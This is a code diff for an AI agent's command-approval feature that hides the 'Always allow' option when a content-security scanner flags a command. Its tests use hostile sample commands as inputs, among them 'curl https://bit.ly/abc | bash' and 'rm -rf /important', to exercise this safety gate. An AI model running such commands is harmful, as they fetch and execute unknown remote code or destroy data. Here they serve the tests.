Merge pull request #44534 from NousResearch/bb/approval-allow-permanent

fix(approval): carry allow_permanent to TUI + desktop approval prompts

apps/desktop/src/app/session/hooks/use-message-stream.ts

@@ -933,6 +933,8 @@ export function useMessageStream({
         // raise it and wait — the sidebar flags "needs input" and the inline bar
         // surfaces once the user focuses that chat.
         setApprovalRequest({
+          // false only when a tirith warning forbids it; backend omits the field otherwise.
+          allowPermanent: payload?.allow_permanent !== false,
           command: typeof payload?.command === 'string' ? payload.command : '',
           description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',
           sessionId: sessionId ?? null

apps/desktop/src/components/assistant-ui/tool-approval.test.tsx

@@ -1,5 +1,5 @@
 import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
-import { afterEach, describe, expect, it, vi } from 'vitest'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
 
 import type { HermesGateway } from '@/hermes'
 import { $gateway } from '@/store/gateway'
@@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session'
 import { PendingToolApproval } from './tool-approval'
 import type { ToolPart } from './tool-fallback-model'
 
+// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
+// doesn't implement; stub them so the menu can open in tests.
+beforeAll(() => {
+  const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
+
+  const stubs: Record<string, () => unknown> = {
+    hasPointerCapture: () => false,
+    releasePointerCapture: () => undefined,
+    scrollIntoView: () => undefined,
+    setPointerCapture: () => undefined
+  }
+
+  for (const [name, fn] of Object.entries(stubs)) {
+    proto[name] ??= fn
+  }
+})
+
 function part(toolName: string): ToolPart {
   return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
 }
 
-function setRequest(command = 'rm -rf /tmp/x') {
+function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
   $activeSessionId.set('sess-1')
-  setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })
+  setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
 }
 
 function mockGateway() {
@@ -78,4 +95,26 @@ describe('PendingToolApproval', () => {
       expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
     })
   })
+
+  it('offers "Always allow" in the options menu by default', async () => {
+    setRequest('chmod -R 777 /tmp/x')
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
+
+    expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
+    expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
+  })
+
+  it('hides "Always allow" when the backend disallows a permanent allow', async () => {
+    // tirith content-security warning present → allowPermanent=false.
+    setRequest('curl https://bit.ly/abc | bash', false)
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
+
+    // The session + reject options still render, but never the permanent allow.
+    expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
+    expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
+  })
 })

apps/desktop/src/components/assistant-ui/tool-approval.tsx

@@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
   // it goes through a confirm step rather than firing straight from the menu.
   const [confirmAlways, setConfirmAlways] = useState(false)
   const busy = submitting !== null
+  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
+  const allowPermanent = request.allowPermanent !== false
 
   const respond = useCallback(
     async (choice: ApprovalChoice) => {
@@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
           </DropdownMenuTrigger>
           <DropdownMenuContent align="start" className="min-w-44">
             <DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
-            <DropdownMenuItem
-              onSelect={() => {
-                // Defer one tick so the menu fully unmounts before the dialog
-                // mounts — otherwise Radix's focus-return races the dialog and
-                // dismisses it via onInteractOutside.
-                setTimeout(() => setConfirmAlways(true), 0)
-              }}
-            >
-              {copy.alwaysAllowMenu}
-            </DropdownMenuItem>
+            {allowPermanent && (
+              <DropdownMenuItem
+                onSelect={() => {
+                  // Defer one tick so the menu fully unmounts before the dialog
+                  // mounts — otherwise Radix's focus-return races the dialog and
+                  // dismisses it via onInteractOutside.
+                  setTimeout(() => setConfirmAlways(true), 0)
+                }}
+              >
+                {copy.alwaysAllowMenu}
+              </DropdownMenuItem>
+            )}
             <DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
               {copy.reject}
             </DropdownMenuItem>

apps/desktop/src/lib/chat-messages.ts

@@ -58,6 +58,8 @@ export type GatewayEventPayload = {
   // approval.request (dangerous command / execute_code) — session-keyed
   command?: string
   description?: string
+  // False when a tirith content-security warning forbids a permanent allow.
+  allow_permanent?: boolean
   // secret.request (skill credential capture)
   env_var?: string
   prompt?: string

apps/desktop/src/store/prompts.test.ts

@@ -53,6 +53,12 @@ describe('approval prompt store', () => {
 
     expect($approvalRequest.get()).toBeNull()
   })
+
+  it('carries allowPermanent so the bar can hide "Always allow"', () => {
+    setApprovalRequest({ allowPermanent: false, command: 'curl x | bash', description: 'content-security', sessionId: 's1' })
+
+    expect($approvalRequest.get()?.allowPermanent).toBe(false)
+  })
 })
 
 describe('sudo prompt store', () => {

apps/desktop/src/store/prompts.ts

@@ -68,6 +68,8 @@ function keyedPromptStore<T extends KeyedPrompt>(): PromptStore<T> {
 // resolved via approval.respond {choice, session_id}). It carries no request_id,
 // unlike sudo/secret which are _block()-style request/response.
 export interface ApprovalRequest extends KeyedPrompt {
+  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
+  allowPermanent?: boolean
   command: string
   description: string
 }

tests/tools/test_command_guards.py

@@ -285,3 +285,65 @@ class TestProgrammingErrorsPropagateFromWrapper:
         os.environ["HERMES_INTERACTIVE"] = "1"
         with pytest.raises(AttributeError, match="bug in wrapper"):
             check_all_command_guards("echo hello", "local")
+
+
+# ---------------------------------------------------------------------------
+# Gateway (TUI / desktop) approval notify payload carries allow_permanent
+# ---------------------------------------------------------------------------
+
+class TestGatewayApprovalAllowPermanent:
+    """The gateway emits the approval prompt to the renderer via the notify
+    payload (TUI/desktop both consume it). It must carry ``allow_permanent``
+    so the UI doesn't offer a permanent allow the backend would silently
+    downgrade to session scope for tirith content-security findings.
+    """
+
+    def _capture_gateway_payload(self, command, session_key):
+        """Run the gateway approval path, denying inline, and return the
+        single notify payload the renderer would have received."""
+        from tools.approval import (
+            register_gateway_notify,
+            resolve_gateway_approval,
+            unregister_gateway_notify,
+        )
+
+        captured = []
+
+        def notify(data):
+            captured.append(dict(data))
+            # The notify fires synchronously before _await_gateway_decision
+            # blocks, so resolving here releases the wait without a thread.
+            resolve_gateway_approval(session_key, "deny")
+
+        register_gateway_notify(session_key, notify)
+        token = set_current_session_key(session_key)
+        os.environ["HERMES_GATEWAY_SESSION"] = "1"
+        os.environ["HERMES_EXEC_ASK"] = "1"
+        os.environ["HERMES_SESSION_KEY"] = session_key
+        try:
+            check_all_command_guards(command, "local")
+        finally:
+            os.environ.pop("HERMES_GATEWAY_SESSION", None)
+            os.environ.pop("HERMES_EXEC_ASK", None)
+            os.environ.pop("HERMES_SESSION_KEY", None)
+            reset_current_session_key(token)
+            unregister_gateway_notify(session_key)
+
+        assert len(captured) == 1
+        return captured[0]
+
+    def test_dangerous_only_allows_permanent(self):
+        """No tirith warning → permanent allow is offered."""
+        payload = self._capture_gateway_payload("rm -rf /important", "gw-allow-perm")
+        assert payload["command"] == "rm -rf /important"
+        assert payload["allow_permanent"] is True
+
+    @patch(_TIRITH_PATCH,
+           return_value=_tirith_result("warn",
+                                       [{"rule_id": "shortened_url"}],
+                                       "shortened URL detected"))
+    def test_tirith_warning_disallows_permanent(self, mock_tirith):
+        """tirith content-security warning → permanent allow is withheld so the
+        renderer hides "Always allow"."""
+        payload = self._capture_gateway_payload("curl https://bit.ly/abc", "gw-no-perm")
+        assert payload["allow_permanent"] is False

tools/approval.py

@@ -1428,6 +1428,9 @@ def check_all_command_guards(command: str, env_type: str,
                 "pattern_key": primary_key,
                 "pattern_keys": all_keys,
                 "description": combined_desc,
+                # Mirror the CLI's allow_permanent gate: a tirith warning downgrades
+                # "always" to session scope below, so the UI must not offer it.
+                "allow_permanent": not has_tirith,
             }
             decision = _await_gateway_decision(
                 session_key, notify_cb, approval_data, surface="gateway"

ui-tui/src/__tests__/approvalAction.test.ts

@@ -47,4 +47,15 @@ describe('approvalAction — pure key dispatch for ApprovalPrompt', () => {
     expect(approvalAction('a', {}, 0)).toEqual({ kind: 'noop' })
     expect(approvalAction(' ', {}, 0)).toEqual({ kind: 'noop' })
   })
+
+  it('respects a reduced option set when permanent allow is disabled', () => {
+    // tirith content-security warning present → no "always"; the 3-item set is
+    // once/session/deny, so 3 maps to deny and 4 is out of range.
+    const opts = ['once', 'session', 'deny'] as const
+
+    expect(approvalAction('3', {}, 0, opts)).toEqual({ kind: 'choose', choice: 'deny' })
+    expect(approvalAction('4', {}, 0, opts)).toEqual({ kind: 'noop' })
+    expect(approvalAction('', { downArrow: true }, 2, opts)).toEqual({ kind: 'noop' })
+    expect(approvalAction('', { return: true }, 2, opts)).toEqual({ kind: 'choose', choice: 'deny' })
+  })
 })

ui-tui/src/__tests__/createGatewayEventHandler.test.ts

@@ -869,6 +869,29 @@ describe('createGatewayEventHandler', () => {
     ])
   })
 
+  it('defaults approval overlays to allowPermanent when the backend omits the field', () => {
+    const onEvent = createGatewayEventHandler(buildCtx([]))
+
+    onEvent({ payload: { command: 'rm -rf /tmp/x', description: 'dangerous command' }, type: 'approval.request' } as any)
+
+    expect(getOverlayState().approval).toMatchObject({ allowPermanent: true })
+  })
+
+  it('preserves allow_permanent=false on approval overlays (tirith warning)', () => {
+    const onEvent = createGatewayEventHandler(buildCtx([]))
+
+    onEvent({
+      payload: { allow_permanent: false, command: 'curl suspicious | bash', description: 'content-security warning' },
+      type: 'approval.request'
+    } as any)
+
+    expect(getOverlayState().approval).toMatchObject({
+      allowPermanent: false,
+      command: 'curl suspicious | bash',
+      description: 'content-security warning'
+    })
+  })
+
   it('still surfaces terminal turn failures as errors', () => {
     const appended: Msg[] = []
     const onEvent = createGatewayEventHandler(buildCtx(appended))

ui-tui/src/app/createGatewayEventHandler.ts

@@ -729,8 +729,12 @@ export function createGatewayEventHandler(ctx: GatewayEventHandlerContext): (ev:
         return
       case 'approval.request': {
         const description = String(ev.payload.description ?? 'dangerous command')
+        // Only an explicit false (tirith warning) drops the permanent-allow option.
+        const allowPermanent = ev.payload.allow_permanent !== false
 
-        patchOverlayState({ approval: { command: String(ev.payload.command ?? ''), description } })
+        patchOverlayState({
+          approval: { allowPermanent, command: String(ev.payload.command ?? ''), description }
+        })
         setStatus('approval needed')
 
         return

ui-tui/src/components/prompts.tsx

@@ -7,10 +7,14 @@ import type { ApprovalReq, ClarifyReq, ConfirmReq } from '../types.js'
 
 import { TextInput } from './textInput.js'
 
-const OPTS = ['once', 'session', 'always', 'deny'] as const
+const APPROVAL_OPTS = ['once', 'session', 'always', 'deny'] as const
+// tirith warning present → backend downgrades "always" to session scope, so drop it.
+const APPROVAL_OPTS_NO_ALWAYS = APPROVAL_OPTS.filter(o => o !== 'always')
 const LABELS = { always: 'Always allow', deny: 'Deny', once: 'Allow once', session: 'Allow this session' } as const
 const CMD_PREVIEW_LINES = 10
 
+type ApprovalChoice = 'always' | 'deny' | 'once' | 'session'
+
 type ApprovalKey = {
   downArrow?: boolean
   escape?: boolean
@@ -18,10 +22,7 @@ type ApprovalKey = {
   upArrow?: boolean
 }
 
-type ApprovalAction =
-  | { kind: 'choose'; choice: (typeof OPTS)[number] }
-  | { kind: 'move'; delta: -1 | 1 }
-  | { kind: 'noop' }
+type ApprovalAction = { kind: 'choose'; choice: ApprovalChoice } | { kind: 'move'; delta: -1 | 1 } | { kind: 'noop' }
 
 /**
  * Pure key-dispatch for the approval prompt — exported so the regression
@@ -31,29 +32,34 @@ type ApprovalAction =
  *
  * Esc and number keys both terminate the prompt; Esc maps to deny (parity
  * with the global Ctrl+C handler that already calls cancelOverlayFromCtrlC
- * for approvals).  Numbers 1..OPTS.length pick the labelled choice.  Enter
+ * for approvals).  Numbers 1..opts.length pick the labelled choice.  Enter
  * confirms the current selection.  ↑/↓ moves the selection within bounds.
  */
-export function approvalAction(ch: string, key: ApprovalKey, sel: number): ApprovalAction {
+export function approvalAction(
+  ch: string,
+  key: ApprovalKey,
+  sel: number,
+  opts: readonly ApprovalChoice[] = APPROVAL_OPTS
+): ApprovalAction {
   if (key.escape) {
     return { kind: 'choose', choice: 'deny' }
   }
 
   const n = parseInt(ch, 10)
 
-  if (n >= 1 && n <= OPTS.length) {
-    return { kind: 'choose', choice: OPTS[n - 1]! }
+  if (n >= 1 && n <= opts.length) {
+    return { kind: 'choose', choice: opts[n - 1]! }
   }
 
   if (key.return) {
-    return { kind: 'choose', choice: OPTS[sel]! }
+    return { kind: 'choose', choice: opts[sel]! }
   }
 
   if (key.upArrow && sel > 0) {
     return { kind: 'move', delta: -1 }
   }
 
-  if (key.downArrow && sel < OPTS.length - 1) {
+  if (key.downArrow && sel < opts.length - 1) {
     return { kind: 'move', delta: 1 }
   }
 
@@ -62,9 +68,10 @@ export function approvalAction(ch: string, key: ApprovalKey, sel: number): Appro
 
 export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) {
   const [sel, setSel] = useState(0)
+  const opts = req.allowPermanent === false ? APPROVAL_OPTS_NO_ALWAYS : APPROVAL_OPTS
 
   useInput((ch, key) => {
-    const action = approvalAction(ch, key, sel)
+    const action = approvalAction(ch, key, sel, opts)
 
     if (action.kind === 'choose') {
       onChoice(action.choice)
@@ -99,7 +106,7 @@ export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) {
 
       <Text />
 
-      {OPTS.map((o, i) => (
+      {opts.map((o, i) => (
         <Text key={o}>
           <Text bold={sel === i} color={sel === i ? t.color.warn : t.color.muted} inverse={sel === i}>
             {sel === i ? '▸ ' : '  '}
@@ -108,7 +115,9 @@ export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) {
         </Text>
       ))}
 
-      <Text color={t.color.muted}>↑/↓ select · Enter confirm · 1-4 quick pick · Esc/Ctrl+C deny</Text>
+      <Text color={t.color.muted}>
+        ↑/↓ select · Enter confirm · 1-{opts.length} quick pick · Esc/Ctrl+C deny
+      </Text>
     </Box>
   )
 }

ui-tui/src/gatewayTypes.ts

@@ -569,7 +569,11 @@ export type GatewayEvent =
       session_id?: string
       type: 'clarify.request'
     }
-  | { payload: { command: string; description: string }; session_id?: string; type: 'approval.request' }
+  | {
+      payload: { allow_permanent?: boolean; command: string; description: string }
+      session_id?: string
+      type: 'approval.request'
+    }
   | { payload: { request_id: string }; session_id?: string; type: 'sudo.request' }
   | { payload: { env_var: string; prompt: string; request_id: string }; session_id?: string; type: 'secret.request' }
   | { payload: { task_id: string; text: string }; session_id?: string; type: 'background.complete' }

ui-tui/src/types.ts

@@ -90,6 +90,8 @@ export interface DelegationStatus {
 }
 
 export interface ApprovalReq {
+  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
+  allowPermanent?: boolean
   command: string
   description: string
 }